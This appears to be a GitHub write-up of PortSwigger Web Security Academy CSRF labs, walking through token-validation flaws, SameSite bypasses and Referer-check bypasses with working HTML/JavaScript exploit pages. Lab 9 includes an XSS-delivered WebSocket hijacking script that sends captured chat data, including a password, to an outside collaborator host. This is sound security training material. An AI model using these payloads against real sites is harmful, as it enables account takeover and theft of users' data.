portswigger-all-labs

Complete PortSwigger Web Security Academy Lab Writeups Detailed, categorized solutions for every lab — from APPRENTICE to EXPERT — covering all 30 vulnerability types.

View on GitHub

Labs Covered

This write-up focuses on the following PRACTITIONER-level labs from the PortSwigger Web Security Academy related to Cross-Site Request Forgery (CSRF):

2 CSRF where token validation depends on request method

This lab demonstrates how relying on the request method to validate CSRF tokens can be bypassed.

3 CSRF where token validation depends on token being present

This lab shows vulnerabilities where validation only checks for the presence of a token, not its correctness.

4 CSRF where token is not tied to user session

This lab explores issues arising when CSRF tokens are not properly tied to individual user sessions.

5 CSRF where token is tied to non-session cookie

This lab demonstrates weaknesses when tokens are linked to cookies unrelated to the user session.

6 CSRF where token is duplicated in cookie

This lab shows how duplication of CSRF tokens in cookies can be exploited.

7 SameSite Lax bypass via method override

This lab demonstrates bypassing SameSite=Lax cookie restrictions by overriding HTTP methods.

8 SameSite Strict bypass via client-side redirect

This lab shows how client-side redirects can be used to bypass SameSite=Strict cookie policies.

9 SameSite Strict bypass via sibling domain

This lab explains how sibling domains can be leveraged to bypass SameSite=Strict protections.

10 SameSite Lax bypass via cookie refresh

This lab demonstrates bypassing SameSite=Lax restrictions by refreshing cookies.

11 CSRF where Referer validation depends on header being present

This lab shows weaknesses when Referer validation is conditional on the presence of the header.

12 CSRF with broken Referer validation

This lab covers vulnerabilities due to incorrect or incomplete Referer header validation.

LAB 2 - CSRF where token validation depends on request method

Lab Description

image

Solution

I accessed the lab and logged into the test account. While intercepting the Update Email functionality, I observed that, unlike the previous lab, an additional CSRF token had been added alongside the email field.

image

To test the protection, I removed the CSRF token and attempted to submit the request. As expected, the request failed, indicating that the CSRF token was being validated correctly.

image

Next, I explored a different approach. I changed the HTTP method from POST to GET and removed the CSRF token. This time, the request was successful, revealing a flaw in the server’s validation logic for GET requests.

image

With this behavior confirmed, I crafted a CSRF exploit using Burp Suite. I generated an HTML form with the method set to GET and submitted it to the exploit server.

image

Deliver the exploit to victim.

image


LAB 3 - CSRF where token validation depends on token being present

Lab Description

image

Solution

I accessed the lab and logged into the test account. I intercepted the Update Email functionality and noticed that there was an additional csrf token along with the email field similar to the previous lab.

image

I again removed the csrf token to check if I could bypass this CSRF protection, and the request was successful!

image

I constructed my CSRF exploit code using this information. I submitted it on the exploit server and solved the lab successfully.

image

image



LAB 4 - CSRF where token is not tied to user session

Lab Description

image

Solution

I accessed the lab and logged into the test account. I intercepted the Update Email functionality and noticed that the CSRF token was being used. I removed the last two characters of the token to check if the application accepted a random token value, but it didn’t work.

image

This confirmed that the application required a valid CSRF token. Since it was a randomly generated token, there was no way for an attacker to guess it. However, I realized that the application might be accepting any valid CSRF token, regardless of whether it belongs to the current user or not.


Insecure Application Logic

Some applications do not validate that the CSRF token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of valid tokens and accepts any token from this pool.

In such a case, an attacker can log in to the application using their own account, obtain a valid CSRF token, and then use that token to perform a CSRF attack against another user.

A faulty implementation might look like this:

def validate_token():
    if request.csrf_token:
        if (request.csrf_token in valid_csrf_tokens):
            pass
        else:
            throw_error("CSRF token incorrect. Request rejected.")
[...]
def process_state_changing_action():
    validate_token()

Exploiting the Flaw

If the CSRF token is not tied to the user’s session, we can reuse any other valid token. The server will accept it as long as the token itself is valid, even if it doesn’t belong to the current session.

Step 1: Get Wiener’s CSRF Token

Logged in as wiener and intercepted the change email request:

POST /my-account/change-email HTTP/2
Host: example.web-security-academy.net
Cookie: session=9PB8Veq3lkJHgs2D4HZnfvUKuJOGvxnd
...
Referer: https://example.web-security-academy.net/my-account?id=wiener

email=wiener%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4

Step 2: Get Carlos’s CSRF Request

Logged in as carlos:montoya (attacker) and intercepted his CSRF token:

POST /my-account/change-email HTTP/2
Host: example.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
...
Referer: https://example.web-security-academy.net/my-account?id=carlos

email=test%40user.net&csrf=V7b2azJ1ChGis7L0p2dCyFazJpCWoFMP

Step 3: Replace Carlos’s Token with Wiener’s

I replaced Carlos’s token with Wiener’s valid token and sent the following request:

POST /my-account/change-email HTTP/2
Host: example.web-security-academy.net
Cookie: session=x4B7o8ZwRIVNSEkvEiyDDuuJ2dQEmqHI
...
Referer: https://example.web-security-academy.net/my-account?id=carlos

email=test%40user.net&csrf=6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4

The request was accepted, confirming the flaw.


Final Exploit: CSRF PoC Delivered to Victim

I crafted the following CSRF PoC using Wiener’s CSRF token and hosted it on the exploit server:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <script>history.pushState('', '', '/')</script>
    <form action="https://example.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned&#64;user&#46;net" />
      <input type="hidden" name="csrf" value="6Wy58vHSJAKJJdZzmwioYeLDCxGeexP4" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Thus we solved the lab,

image


Lab Description

image

Solution

I accessed the lab and logged into the test account. I intercepted the Update Email functionality and noticed that the application had enhanced the CSRF protection. Along with the CSRF token in the request body, the server also issued a csrfKey cookie.

image


Initial Tests

I first removed the CSRF token from the request and sent it. As expected, the request failed.

image

Then, I tried submitting the csrf token of second test account (attacker’s) with this request, but it didn’t solve the lab. This meant that the csrf token could be tied to the session cookie or the csrfKey or both. I tested the first possibility where csrf token could be tied to the csrfKey. I grabbed the csrfKey along with the csrf token from the second test account (or attacker account) and used it in the Change Email request of the first account. The request was successful! This meant that the application was not validating whether the cookie and token belonged to the same user account or not. It only required a valid cookie and token from the server.

image


Exploitation Plan

To execute this attack, I needed to plant the attacker’s csrfKey cookie in the victim’s browser.

This could be achieved if the application were vulnerable to HTTP Response Splitting.

image


Finding Injection Point

The application had a Search functionality. I entered a search term and intercepted the request using Burp Suite.

The response showed that the application was setting a LastSearchTerm cookie with the user-provided search input.

This made it clear that the application was vulnerable to HTTP Response Splitting, allowing me to inject arbitrary headers.

image

From the response we can confirm that we can inject the csrfkey value by HTTP header injection.

Send the above request to POC generator.

Note that we have only changed the csrf token value to wiener’s token. The csrfkey value is still the same(carlos’s). It has to be injected into victim’s session. For this we can use a <img> tag, where we load the url along with HTTP header injection payload to inject the csrfkey value as wiener’s csrf key . Since there is no image in that url , it will trigger an error. On error it will submit the form.

<img src="https://id.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=DeXLkdkNhCEpCDz5WHWqsRmLrAI6X3wz%3b%20SameSite=None" onerror="document.forms[0].submit()">

**Final payload **

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://id.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="pwned&#64;test&#46;com" />
      <input type="hidden" name="csrf" value="A3SRAhW10ulYAujS4LqoGMSAbVtJR1WY" />
      <input type="submit" value="Submit request" />
    </form>
      <img src="https://id.web-security-academy.net/?search=test%0d%0aSet-Cookie:%20csrfKey=DeXLkdkNhCEpCDz5WHWqsRmLrAI6X3wz%3b%20SameSite=None" onerror="document.forms[0].submit()">
  </body>
</html>

Deliver the exploit to victim to solve the lab.

image


Lab Description

image

Solution

When we login as wiener using the credentials wiener:peter , we can see that there is an option to update email.

image

I accessed the lab and logged into the test account. I intercepted the Update Email functionality to analyze the CSRF defenses implemented in the application.

I observed that the same CSRF value was being used both in the request body as a token and in the csrf cookie.

image


Testing CSRF Validation

To test how the application validated CSRF data:

This behavior revealed that the application only required the CSRF token and cookie to match, regardless of their actual values.

image


Exploitation

Since the server only checked if both CSRF values were identical (not valid), an attacker didn’t need a real or server-issued CSRF token.

I reused the exploit code from the previous lab and modified it:

<html>
  <body>
    <script>
      document.cookie = "csrf=csrf";
    </script>
    <form action="https://example.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@example.com" />
      <input type="hidden" name="csrf" value="csrf" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

image


LAB 7 - SameSite Lax bypass via method override

Lab Description

image

Solution

Objective

Exploit a CSRF vulnerability where no unpredictable tokens are present, and session cookies use the default SameSite=Lax setting, allowing cookies to be sent in top-level GET requests.


Step-by-Step Breakdown

1. Log into the Victim Account

Logged in to the lab-provided account using the credentials:


Username: wiener
Password: peter

image

Navigated to My Account and changed the email address to capture the request.


2. Analyze the Email Change Request

Intercepted the following request to update the email:

POST /my-account/change-email HTTP/2
Host: your-lab-id.web-security-academy.net
Cookie: session=<session-id>
Content-Type: application/x-www-form-urlencoded

email=wiener%40user.net

Observation:

image


3. Attempt a GET Request

Used Burp to change the request method to GET. This was rejected by the server:

GET /my-account/change-email?email=pwned@web-security-academy.net HTTP/2

Response: 405 Method Not Allowed


5. Bypass Using _method=POST

Appended a method override parameter to simulate a POST via GET:

GET /my-account/change-email?email=pwned@web-security-academy.net&_method=POST HTTP/2

This trick worked because the server accepted _method=POST as an override. image


6. Build the Exploit

To ensure the session cookie is included, the request must result from top-level navigation. I created the following HTML payload:

<script>
  document.location = "https://your-lab-id.web-security-academy.net/my-account/change-email?email=pwned@web-security-academy.net&_method=POST";
</script>

This causes the victim’s browser to send a GET request that is interpreted as a POST, with the session cookie included (due to SameSite=Lax + top-level navigation).

So in our final payload, we change the request method - method="GET" & then we include a hidden input form (ie.) - <input type="hidden" name="_method" value="PUT"> inside the form to override the request method.

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https:///your-lab-id.web-security-academy.net/my-account/change-email" method="GET">
      <input type="hidden" name="_method" value="POST">
      <input type="hidden" name="email" value="test&#64;test&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

7. Deliver the Exploit

  1. Stored the payload on the Exploit Server.
  2. Delivered the exploit to the victim.
  3. Once triggered, the victim’s session performed the email change, and the lab was marked as solved.

image


LAB 8 - SameSite Strict bypass via client-side redirect

Lab Description

image

Solution

Step 1: Analyze the Login Flow

After logging in as the user wiener:peter, the browser sends a POST request to the /login endpoint. The server responds with a Set-Cookie header, which includes a session cookie:

Set-Cookie: session=example_session_cookie; Secure; HttpOnly; SameSite=Strict

This means the browser will not send the session cookie in cross-site requests — even top-level navigations — due to the SameSite=Strict attribute.


Step 2: Intercept Email Change Request

After login, I navigated to the My Account page and submitted a request to change the email. The intercepted request looked like:

POST /my-account/change-email HTTP/2
Host: abcd1234efgh5678ijkl.web-security-academy.net
Cookie: session=sample_cookie_value
Content-Type: application/x-www-form-urlencoded

email=wiener%40user.net&submit=1

There were no CSRF tokens and no SameSite restrictions on this endpoint.

This raised a question: Can we somehow trick the browser into making this request with the user’s session cookie?


Step 3: Identify Client-Side Redirect Gadget

Clicking on a blog post and posting a comment triggers a redirect to:

/post/comment/confirmation?postId=4

After a few seconds, the user is automatically redirected back to the homepage using JavaScript.

Visual Flow of Client-Side Redirection

image

image

image

image


Step 4: URL Manipulation and Path Traversal

What happens if we change postId to something arbitrary like foo?

Request:

/post/comment/confirmation?postId=foo

Redirects to:

/post/foo

image

Response

image

And as expected we got redirected to /post/foo

image

Then we tried:

/post/comment/confirmation?postId=1/../../my-account

Redirected to:

/my-account

This is our redirect gadget.

image


Despite SameSite=Strict, the redirect works because it’s handled entirely within the same origin. So, we create a cross-site script that loads this confirmation page and lets the site redirect the victim while maintaining their session.

Proof of Concept (PoC)

<script>
  document.location = "https://abcd1234efgh5678ijkl.web-security-academy.net/post/comment/confirmation?postId=../my-account";
</script>

Browser retains the cookie during the redirect:

image


Step 6: Generate Final Payload

We confirmed the server accepts a GET request to change the email. Now we leverage the redirect gadget to forge this CSRF attack.

Final Exploit Payload

<script>
  document.location = "https://abcd1234efgh5678ijkl.web-security-academy.net/post/comment/confirmation?postId=1/../../my-account/change-email?email=pwned%40user.net%26submit=1";
</script>

Once this script is loaded by the victim, their browser navigates through the redirect and sends the forged request with their valid session.


Step 7: Lab Solved

After delivering this payload to the victim, the email address was successfully changed — confirming the CSRF attack bypassed SameSite protections using a client-side redirect gadget.

image



LAB 9 - SameSite Strict bypass via sibling domain

Lab Description

image

Solution

WebSocket XSS and CSWSH Attack Tutorial Identifying WebSocket Usage To determine if a web application uses WebSockets, follow these steps:

Set up Burp Suite: Configure Burp Suite to capture traffic. Navigate the Application: Click through every page to trigger potential WebSocket connections, as WebSockets are often used in specific components. Check WebSocket Traffic: In Burp Suite, go to Proxy -> WebSockets history to view captured WebSocket traffic. If no traffic appears, the application may not use WebSockets. Example: The /chat endpoint was found to send and receive data over WebSockets.

image

Understanding WebSocket Connection Establishment WebSocket connections typically start with an HTTP request. For example:

Navigating to the /chat endpoint returns an HTML document referencing a JavaScript file (/resources/js/chat.js).

image

This JavaScript file initiates a WebSocket connection using the action attribute of the chat form to determine the WebSocket URL.

image

JavaScript Code Analysis The JavaScript code in /resources/js/chat.js handles the WebSocket connection and chat functionality. Key points:

image

Encoded Characters: The following characters are encoded when sending messages: ‘ “ < > & \r \n \.

image

image

Code Snippet:

(function () {
    var chatForm = document.getElementById("chatForm");
    var messageBox = document.getElementById("message-box");
    var webSocket = new WebSocket(chatForm.getAttribute("action"));

    webSocket.onopen = function (evt) {
        writeMessage("system", "System:", "No chat history on record")
        webSocket.send("READY")
    }

    webSocket.onmessage = function (evt) {
        var message = evt.data;

        if (message === "TYPING") {
            writeMessage("typing", "", "[typing...]")
        } else {
            var messageJson = JSON.parse(message);
            if (messageJson && messageJson['user'] !== "CONNECTED") {
                Array.from(document.getElementsByClassName("system")).forEach(function (element) {
                    element.parentNode.removeChild(element);
                });
            }
            Array.from(document.getElementsByClassName("typing")).forEach(function (element) {
                element.parentNode.removeChild(element);
            });

            if (messageJson['user'] && messageJson['content']) {
                writeMessage("message", messageJson['user'] + ":", messageJson['content'])
            }
        }
    };

    webSocket.onclose = function (evt) {
        writeMessage("message", "DISCONNECTED:", "-- Chat has ended --")
    };

    chatForm.addEventListener("submit", function (e) {
        sendMessage(new FormData(this));
        this.reset();
        e.preventDefault();
    });

    function writeMessage(className, user, content) {
        var row = document.createElement("tr");
        row.className = className

        var userCell = document.createElement("th");
        var contentCell = document.createElement("td");
        userCell.innerHTML = user;
        contentCell.innerHTML = content;

        row.appendChild(userCell);
        row.appendChild(contentCell);
        document.getElementById("chat-area").appendChild(row);
    }

    function sendMessage(data) {
        var object = {};
        data.forEach(function (value, key) {
            object[key] = htmlEncode(value);
        });

        webSocket.send(JSON.stringify(object));
    }

    function htmlEncode(str) {
        if (chatForm.getAttribute("encode")) {
            return String(str).replace(/['"<>&\r\n\\]/gi, function (c) {
                var lookup = {'\\': '\', '\r': '
', '\n': '
', '"': '"', '<': '<', '>': '>', "'": ''', '&': '&'};
                return lookup[c];
            });
        }
        return str;
    }
})();

Discovering a Subdomain

When retrieving the JavaScript file, the HTTP response includes an Access-Control-Allow-Origin header pointing to a subdomain (cms).

image

Subdomain Vulnerability The cms subdomain contains a login function that reflects the username in the response, making it vulnerable to Cross-Site Scripting (XSS). For example:

image

XSS Payload: <script>alert(1)</script>

This payload triggers an alert, confirming the XSS vulnerability.

image

The login request is a POST but can be converted to a GET request for easier exploitation.

image

Exploiting XSS for CSWSH

Since the cms subdomain is part of the same site, it bypasses SameSite cookie restrictions, enabling a Cross-Site WebSocket Hijacking (CSWSH) attack. The attack involves:

Crafting a malicious payload to establish a WebSocket connection to the /chat endpoint. Sending intercepted WebSocket messages to an attacker-controlled server.

CSWSH Payload


<script>
    var ws = new WebSocket('wss://0a2300d903aa833880e1999c00ff0015.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://110tll1sbyflso7uajbly9oyppvgj67v.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

URL-Encoded CSWSH Payload:

%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%32%33%30%30%64%39%30%33%61%61%38%33%33%38%38%30%65%31%39%39%39%63%30%30%66%66%30%30%31%35%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%31%31%30%74%6c%6c%31%73%62%79%66%6c%73%6f%37%75%61%6a%62%6c%79%39%6f%79%70%70%76%67%6a%36%37%76%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e

Full Exploit Payload

<script>
    document.location = "https://cms-0a2300d903aa833880e1999c00ff0015.web-security-academy.net/login?username=%3c%73%63%72%69%70%74%3e%0a%20%20%20%20%76%61%72%20%77%73%20%3d%20%6e%65%77%20%57%65%62%53%6f%63%6b%65%74%28%27%77%73%73%3a%2f%2f%30%61%32%39%30%30%39%62%30%34%65%32%65%35%38%32%38%30%34%66%63%31%66%37%30%30%62%38%30%30%64%35%2e%77%65%62%2d%73%65%63%75%72%69%74%79%2d%61%63%61%64%65%6d%79%2e%6e%65%74%2f%63%68%61%74%27%29%3b%0a%20%20%20%20%77%73%2e%6f%6e%6f%70%65%6e%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%0a%20%20%20%20%20%20%20%20%77%73%2e%73%65%6e%64%28%22%52%45%41%44%59%22%29%3b%0a%20%20%20%20%7d%3b%0a%20%20%20%20%77%73%2e%6f%6e%6d%65%73%73%61%67%65%20%3d%20%66%75%6e%63%74%69%6f%6e%28%65%76%65%6e%74%29%20%7b%0a%20%20%20%20%20%20%20%20%66%65%74%63%68%28%27%68%74%74%70%73%3a%2f%2f%69%66%31%77%37%73%69%67%61%31%63%65%7a%6a%33%30%62%38%6b%30%38%69%32%30%65%72%6b%69%38%62%77%30%2e%6f%61%73%74%69%66%79%2e%63%6f%6d%27%2c%20%7b%6d%65%74%68%6f%64%3a%20%27%50%4f%53%54%27%2c%20%6d%6f%64%65%3a%20%27%6e%6f%2d%63%6f%72%73%27%2c%20%62%6f%64%79%3a%20%65%76%65%6e%74%2e%64%61%74%61%7d%29%3b%0a%20%20%20%20%7d%3b%0a%3c%2f%73%63%72%69%70%74%3e&password=aa";
</script>

Executing the Attack

Store the Payload: Save the full exploit payload on an exploit server. Deliver to Victim: Send the payload URL to the victim, causing their browser to execute the script.

image

Monitor Collaborator: Check the collaborator tool (e.g., oastify.com) for intercepted WebSocket messages.

image

One of the captured messages contains a password (e.g., 711asa…).

Completing the Lab

Use the intercepted password to log in to the cms subdomain. Successful login completes the lab.

image


Lab Description

image

Solution

image

POST /my-account/change-email
Content-Type: application/x-www-form-urlencoded

data: email=target@site.com

image

OAuth Redirection Flow

When logging in, we get redirected to a subdomain oauth, for example:

https://oauth-0a6f009504061a2780d1702b026c00f7.oauth-server.net/auth?client_id=erw3xdeohdsu1g89oaqu0&redirect_uri=https://0a72005004831ac38087729700fb0018.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email

image

⚠️ This request requires parameters like client_id, otherwise it fails.

image

Observations

According to PortSwigger:

Completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site.

Key Point

We can access /social-login while already logged in to trigger the OAuth flow again and get a new session cookie.

image


Method 1: Using CSRF PoC with Window Click + OAuth Refresh

<html>
  <!-- CSRF PoC - Burp Suite -->
  <body>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="test77@test.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      window.onclick = () => {
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(submit, 10000);
        function submit() {
          history.pushState('', '', '/');
          document.forms[0].submit();
        }
      };
    </script>
  </body>
</html>

Method 2: CSRF via Auto-Submit and Session Renewal

Step-by-Step:

  1. Log in via your social media account and change your email address.
  2. In Burp, go to Proxy > HTTP history and review the POST /my-account/change-email request.
  3. Notice it has no CSRF token and no SameSite restrictions.

Basic CSRF Attack PoC:

<script>history.pushState('', '', '/')</script>
<form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
    <input type="hidden" name="email" value="foo@bar.com" />
    <input type="submit" value="Submit request" />
</form>
<script>
    document.forms[0].submit();
</script>

⚠️ This works only if the user is logged in and the session is fresh (less than 2 mins).


Bypass SameSite and Force Session Refresh

Exploit with OAuth Refresh:

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@web-security-academy.net">
</form>
<script>
    window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
    setTimeout(changeEmail, 5000);

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

☝️ Popup blockers may block the OAuth window if not triggered by user interaction.


Final Version: Trigger via Click to Bypass Popup Blockers

<form method="POST" action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email">
    <input type="hidden" name="email" value="pwned@portswigger.net">
</form>
<p>Click anywhere on the page</p>
<script>
    window.onclick = () => {
        window.open('https://YOUR-LAB-ID.web-security-academy.net/social-login');
        setTimeout(changeEmail, 5000);
    };

    function changeEmail() {
        document.forms[0].submit();
    }
</script>

image

Deliver the exploit to victum and lab will be solved

image

image

Final Testing Instructions

  1. View the exploit yourself and click the page.
  2. This triggers /social-login → new session cookie issued.
  3. After 5 seconds, the CSRF request is sent.
  4. The change-email POST includes the new session cookie.
  5. Confirm via Burp that the session cookie was accepted.
  6. Check the account page – the email should now be updated.
  7. Update the payload to target the victim (not your own email).
  8. Deliver the exploit to the victim to solve the lab.

Lab Solved when victim’s email is changed via CSRF attack using an OAuth-refresh workaround.


LAB 11 - CSRF where Referer validation depends on header being present

Lab Description

image

Overview :

Validation of Referer depends on header being present

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user’s browser to drop the Referer header in the resulting request. There are various ways to achieve this, but the easiest is using a META tag within the HTML page that hosts the CSRF attack:

<meta name="referrer" content="never">

Solution

I intercepted the Update Email request to understand the CSRF defenses implemented by the application. Here’s what I observed:

To test its impact, I removed the Referer header and resubmitted the request.

image

Result: The request was still successful without the Referer header.

This confirmed that the application checks the Referer header as a CSRF defense mechanism.


To bypass this defense, I needed to suppress the Referer header from being sent with the malicious request.

Send the request to POC generator & add the following line to tell the application to ignore Referrer header.

<meta name="referrer" content="no-referrer">

This instructs the browser not to send the Referer header when the exploit is triggered.


With that in place, I crafted a simple CSRF exploit:

<!DOCTYPE html>
<html>
  <head>
    <meta name="referrer" content="no-referrer">
  </head>
  <body>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
      <input type="submit" value="Click me" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

image

I hosted the above payload on the exploit server provided by the lab. When the victim visited the exploit page the lab will be solved:

image


LAB 12 - CSRF with broken Referer validation

Lab Description

image

Solution

I intercepted the Update Email request to examine the CSRF protections in place. The application relied on Referer header validation to mitigate CSRF.

image


To bypass the validation, I tested a Referer spoofing technique using the following format:


Referer: https://exploit-server.net/?https://victim-site.com

image

This trick worked. The application considered the Referer valid, likely because it only checked for the presence of the victim domain somewhere in the header value.


image

To control the Referer header via JavaScript, I used the history.pushState() method to manipulate the browser history before submitting the CSRF request:

image

<!DOCTYPE html>
<html>
  <head>
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form action="https://YOUR-LAB-ID.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="attacker@evil.com" />
    </form>

    <script>
      // Inject spoofed referer using pushState
      history.pushState({}, "", "/?https://YOUR-LAB-ID.web-security-academy.net");
      document.forms[0].submit();
    </script>
  </body>
</html>

By default, most browsers strip the query string from the Referer header for privacy/security reasons. To override this behavior and force the browser to send the full URL (with query string), I used:

<meta name="referrer" content="unsafe-url">

Alternatively, you can use an HTTP header on the exploit server:

Referrer-Policy: unsafe-url

image

Deliver the exploit to victim to solve the lab.

image